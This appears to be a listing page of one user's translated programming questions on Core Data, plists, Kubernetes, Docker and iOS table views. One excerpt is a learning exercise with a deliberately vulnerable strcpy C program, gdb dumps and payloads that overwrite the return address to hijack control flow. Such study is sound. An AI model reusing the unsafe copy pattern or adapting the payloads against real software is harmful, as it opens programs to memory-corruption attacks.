我尝试使用以下代码从CoreData中提取数据
NSFetchRequest *request = [[NSFetchRequest alloc] init];
request.entity = [NSEntityDescription entityForName:@"Cave" inManagedObjectContext:self.context];
request.predicate = [NSPredicate predicateWithFormat:@"(latitude > 0) AND (longitude > 0)"];
NSError *error;
NSLog(@"%@",[self.context executeFetchRequest:request error:&error]);
NSLog(@"%@",[error localizedDescription]);
Run Code Online (Sandbox Code Playgroud)
CoreData应该有9个匹配的对象,它会找到9个对象.所以谓词应该可以工作,但我在控制台中得到了这个
2011-09-05 07:41:42.267 CaveConditions[6930:11903] (
"<NSManagedObject: 0x7368060> (entity: Cave; id: 0x7367880 <x-coredata://C825FC9D-3490-4D8A-A811-979B819A2EB6/Cave/p31> ; data: <fault>)",
"<NSManagedObject: 0x73547e0> (entity: Cave; id: 0x7356e20 <x-coredata://C825FC9D-3490-4D8A-A811-979B819A2EB6/Cave/p40> ; data: <fault>)",
"<NSManagedObject: 0x73681e0> (entity: Cave; id: 0x7363e60 <x-coredata://C825FC9D-3490-4D8A-A811-979B819A2EB6/Cave/p42> ; data: <fault>)",
"<NSManagedObject: 0x7368280> (entity: Cave; id: 0x7356be0 <x-coredata://C825FC9D-3490-4D8A-A811-979B819A2EB6/Cave/p72> ; data: <fault>)",
"<NSManagedObject: 0x7368320> (entity: Cave; id: 0x733ad80 …Run Code Online (Sandbox Code Playgroud) 我试图将一个内部有一些字典的数组保存到plist文件中,但它失败了.我没有得到任何错误.我在代码中使用另一个数组执行完全相同的几行,并且可以工作..我无法弄清楚为什么它不保存文件.
这是我保存文件的地方:(参见下面的一些调试器输出)
// When built parse through dictionary and save to file
for ( NSString *keys in [dicByCountry allKeys] )
{
NSArray *arrr = [[NSArray alloc] initWithArray:[dicByCountry objectForKey:keys]];
NSString *fname = [self filePath:[NSString stringWithFormat:@"regions.cid%@.plist",keys]];
if (![arrr writeToFile:fname atomically:YES])
NSLog(@"Could not write file regions.cid%@.plist",keys);
}
Run Code Online (Sandbox Code Playgroud)
这里有一些GDB输出
(gdb) po fname
/Users/chris/Library/Application Support/iPhone Simulator/4.0/Applications/44A9FF9E-5715-4BF0-9BE2-525883281420/Documents/regions.cid0.plist
(gdb) po arrr
<__NSArrayI 0x8022b30>(
{
countryID = "<null>";
region = "?\U00e2vora";
regionID = 16;
},
{
countryID = "<null>";
region = Vicenza;
regionID = 14;
},
{
countryID …Run Code Online (Sandbox Code Playgroud) 我试图在我的Mac OSX 10.6上编译"Loch"而没有任何成功.我总是得到一些"编译时未找到的符号"错误.任何人都知道可能是什么问题?
非常感谢
c++ -o loch -Wall getline.o lxTR.o lxOGLFT.o lxSetup.o lxRender.o lxWX.o lxImgIO.o lxLRUD.o lxFile.o lxSTree.o lxData.o lxMath.o lxSView.o lxSScene.o lxGUI.o lxGLC.o lxOptDlg.o lxAboutDlg.o img.o -lz -L/usr/X11R6/lib -framework IOKit -framework Carbon -framework Cocoa -framework System -framework QuickTime -framework OpenGL -framework AGL -lwx_macud_gl-2.8 -lwx_macud-2.8 -L/Applications/VTK_All/VTK_Bin/lib/vtk-5.4 -lvtkHybrid -lvtkImaging -lvtkIO -lvtkGraphics -lvtkFiltering -lvtkCommon -lvtkjpeg -lvtkpng -lvtkzlib -lvtksys -lfreetype -lGLU -lGL
ld: warning: in /System/Library/Frameworks//QuickTime.framework/QuickTime, missing required architecture x86_64 in file
ld: warning: in /usr/lib/libwx_macud_gl-2.8.dylib, missing required architecture x86_64 in file
ld: …Run Code Online (Sandbox Code Playgroud) 为了我的学习,我尝试创建一个有效载荷,使其溢出缓冲区并调用一个名为"目标"的"秘密"函数
这是我用于在i686上进行测试的代码
#include "stdio.h"
#include "string.h"
void target() {
printf("target\n");
}
void vulnerable(char* input) {
char buffer[16];
strcpy(buffer, input);
}
int main(int argc, char** argv) {
if(argc == 2)
vulnerable(argv[1]);
else
printf("Need an argument!");
return 0;
}
Run Code Online (Sandbox Code Playgroud)
任务1:创建有效负载以便调用target().通过将EIP替换为目标函数的地址,这很容易做到.
这是缓冲区的外观
Buffer
(gdb) x/8x buffer
0xbfffef50: 0x41414141 0x41414141 0x00414141 0x08048532
0xbfffef60: 0x00000002 0xbffff024 0xbfffef88 0x080484ca
Run Code Online (Sandbox Code Playgroud)
我使用的有效负载是:
run AAAAAAAAAAAAAAAAAAAAAAAAAAAA$'\x7d\x84\x04\x08'
Run Code Online (Sandbox Code Playgroud)
这样可以正常工作,但会因分段错误而停止.
任务2:以不会导致分段错误的方式修改有效负载
这是我被困的地方.显然它会导致分段错误,因为我们不使用调用指令调用目标,因此没有有效的返回地址.
我试图在堆栈上添加返回地址,但这没有帮助
run AAAAAAAAAAAAAAAAAAAAAAAA$'\xca\x84\x04\x08'$'\x7d\x84\x04\x08'
Run Code Online (Sandbox Code Playgroud)
也许有人可以帮我解决这个问题.可能我还要添加保存的主要EBP?
我附上了程序的objdump
0804847d <target>:
804847d: 55 push %ebp
804847e: 89 e5 mov %esp,%ebp
8048480: 83 ec …Run Code Online (Sandbox Code Playgroud) 在我的GCE Kubernetes集群上,我无法再创建pod.
Warning FailedScheduling pod (www.caveconditions.com-f1be467e31c7b00bc983fbe5efdbb8eb-438ef) failed to fit in any node
fit failure on node (gke-prod-cluster-default-pool-b39c7f0c-c0ug): Insufficient CPU
Run Code Online (Sandbox Code Playgroud)
查看该节点的已分配统计信息
Non-terminated Pods: (8 in total)
Namespace Name CPU Requests CPU Limits Memory Requests Memory Limits
--------- ---- ------------ ---------- --------------- -------------
default dev.caveconditions.com-n80z8 100m (10%) 0 (0%) 0 (0%) 0 (0%)
default lamp-cnmrc 100m (10%) 0 (0%) 0 (0%) 0 (0%)
default mongo-2-h59ly 200m (20%) 0 (0%) 0 (0%) 0 (0%)
default www.caveconditions.com-tl7pa 100m (10%) 0 (0%) 0 (0%) 0 …Run Code Online (Sandbox Code Playgroud) 有人可以告诉我如何调试此错误"wait_fences:未能收到回复:10004003"我不太确定它在调用的代码中的位置,因为它在启动时发生
我有几个应用程序容器,我想连接到mongodb容器.我尝试使用external_links,但我无法连接到mongodb.
我明白了
MongoError:第一次连接时无法连接到服务器[mongodb:27017]
我是否必须将容器添加到同一网络中以使external_links正常工作?
MongoDB的:
version: '2'
services:
mongodb:
image: mongo:3.4
restart: always
ports:
- "27017:27017"
volumes:
- data:/data/db
volumes:
data:
Run Code Online (Sandbox Code Playgroud)
应用程序:
version: '2'
services:
app-dev:
restart: Always
build: repository/
ports:
- "3000:80"
env_file:
- ./environment.env
external_links:
- mongodb_mongodb_1:mongodb
Run Code Online (Sandbox Code Playgroud)
网络:
# sudo docker network ls
NETWORK ID NAME DRIVER SCOPE
29f8bae3e136 bridge bridge local
67d5519cb2e6 dev_default bridge local
9e7097c844cf host host local
481ee4301f7c mongodb_default bridge local
4275508449f6 none null local
873a46298cd9 prod_default bridge local
Run Code Online (Sandbox Code Playgroud) 我是Objective-C的新手,正在阅读内存管理.我试图用NSAutoreleasePool玩一下但不知何故它不会释放我的对象.
我有一个带有setter和getter的类,它基本上设置了一个NSString*名称.释放池后,我尝试NSLog对象,它仍然有效,但我想它不应该?
@interface TestClass : NSObject
{
NSString *name;
}
- (void) setName: (NSString *) string;
- (NSString *) name;
@end
@implementation TestClass
- (void) setName: (NSString *) string
{
name = string;
}
- (NSString *) name
{
return name;
}
@end
int main (int argc, const char * argv[]) {
NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init];
TestClass *var = [[TestClass alloc] init];
[var setName:@"Chris"];
[var autorelease];
[pool release];
// This should not be possible?
NSLog(@"%@",[var name]);
return 0; …Run Code Online (Sandbox Code Playgroud) 我很困惑为什么reloadData不会重新加载tableview.它没有打电话numberOfRowsInSection......
在fetchedResultsController将新数据保存到核心数据之后,确实获得了新行
在将新数据添加到tableview之前
2011-12-29 19:09:08:213 CaveConditions[56423:71939] FRC 170
Run Code Online (Sandbox Code Playgroud)
之后viewWillAppear并添加数据
2011-12-29 19:09:35:908 CaveConditions[56423:71939] FRC NEW 171
Run Code Online (Sandbox Code Playgroud)
在调用reloadData之前,tableView(aTableView)不是nil
2011-12-29 19:18:27:334 CaveConditions[56525:71939] TableVIew: <UITableView: 0x9c12000; frame = (0 0; 320 367); clipsToBounds = YES; autoresize = W+H; layer = <CALayer: 0x751cbb0>; contentOffset: {0, 0}>
Run Code Online (Sandbox Code Playgroud)
一旦我重新启动应用程序,它就会显示新内容...我正在使用Storyboard并完成了tableview和委托/数据源之间的所有连接并多次检查它.Class是一个UIViewController.
- (void)viewWillAppear:(BOOL)animated
{
[super viewWillAppear:animated];
self.fetchedResultsController = nil;
NSError *error;
if (![[self fetchedResultsController] performFetch:&error]) {
// Update to handle the error appropriately.
NSLog(@"Unresolved error %@, %@", error, [error userInfo]);
}
id <NSFetchedResultsSectionInfo> …Run Code Online (Sandbox Code Playgroud) iphone ×3
autorelease ×1
c ×1
core-data ×1
core-plot ×1
debugging ×1
docker ×1
file ×1
ios ×1
kubernetes ×1
label ×1
macos ×1
nsarray ×1
objective-c ×1
uitableview ×1
wxwidgets ×1
x86 ×1